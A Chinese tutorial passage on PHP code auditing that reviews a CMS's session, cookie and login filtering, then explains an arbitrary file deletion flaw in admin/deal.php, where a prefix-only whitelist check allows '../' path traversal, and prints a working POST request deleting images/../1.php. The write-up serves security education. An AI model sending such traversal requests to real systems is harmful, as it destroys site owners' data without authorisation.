主页 > 网络知识 > PHP代码审计之入门实战(3)

PHP代码审计之入门实战(3)

include/function.php

function set_session($name,$value,$filter = 'strict') { if(S_SESSION) { $_SESSION[$name] = $filter($value); }else{ setcookie($name,$filter($value)); } } //获取session function get_session($name,$filter = 'strict') { if(S_SESSION) { return $filter(isset($_SESSION[$name])?$_SESSION[$name]:''); }else{ return $filter(isset($_COOKIE[$name])?$_COOKIE[$name]:''); } } cookie过滤

include/function.php

//获取cookie function get_cookie($name,$filter = 'strict') { return $filter(isset($_COOKIE[$name])?$_COOKIE[$name]:''); } 管理员登录过滤

admin/module/info_main.php

function admin_login() { safe('admin_login'); global $smarty,$lang; $username = substr(post('username'),0,30); $password = substr(post('password'),0,30); if($username == '' || $password == '') { unset_session('admin_username'); unset_session('admin_password'); $info_text = '对不起,用户名和密码不能为空'; $link_text = '返回重新登录'; } ... ... } 普通用户登录过滤

index/module/info_main.php

function user_login() { safe('user_login'); global $global,$smarty,$lang; $info_text = post('info_text'); $link_text = post('link_text'); $link_href = post('link_href'); $username = post('username'); $password = post('password'); ... ... }

大致就这么多防护了,接下来开始真正地来进行漏洞挖掘。

漏洞分析 后台任意文件删除 漏洞分析

漏洞文件:admin/deal.php

deal.php

function del_file() { $path = post('path'); $flag = false; $dir[0] = 'data/backup/'; $dir[1] = 'images/'; $dir[2] = 'resource/'; for($i = 0; $i < count($dir); $i ++) { if(substr($path,0,strlen($dir[$i])) == $dir[$i]) { $flag = true; } } if($flag) { if(unlink($path)) { $result = 1; } } echo isset($result)?$result:0; }

这里核心看这处代码:

if(substr($path,0,strlen($dir[$i])) == $dir[$i]) { $flag = true; }

这是个删除文件的函数定义,删除文件用了白名单策略,必须只能删除:

$dir[0] = 'data/backup/'; $dir[1] = 'images/'; $dir[2] = 'resource/';

这3个目录下的文件,使用了substr从$path的0位置开始往后判断,只校验了$path前面是否在白名单内部,但是却忽略了 白名单后面的路径可能使用../的这种形式来穿越目录。

漏洞利用

 

15796571811634.jpg

 

抓取删除 这个操作的数据包,具体如下:

POST /admin.php?/deal/ HTTP/1.1 Host: 10.211.55.12 Content-Length: 33 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36 Content-Type: application/x-www-form-urlencoded Accept: */* Origin: Referer: ?/file/mod-pic_lists/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7 Cookie: PHPSESSID=7e2ofb2sbe5p0bhv8rcgfg5n84 Connection: close cmd=del_file&path=images/../1.php

通过在白名单目录后面使用../可以实现跨目录任意文件删除,删除成功返回1

说点什么吧
  • 全部评论(0
    还没有评论,快来抢沙发吧!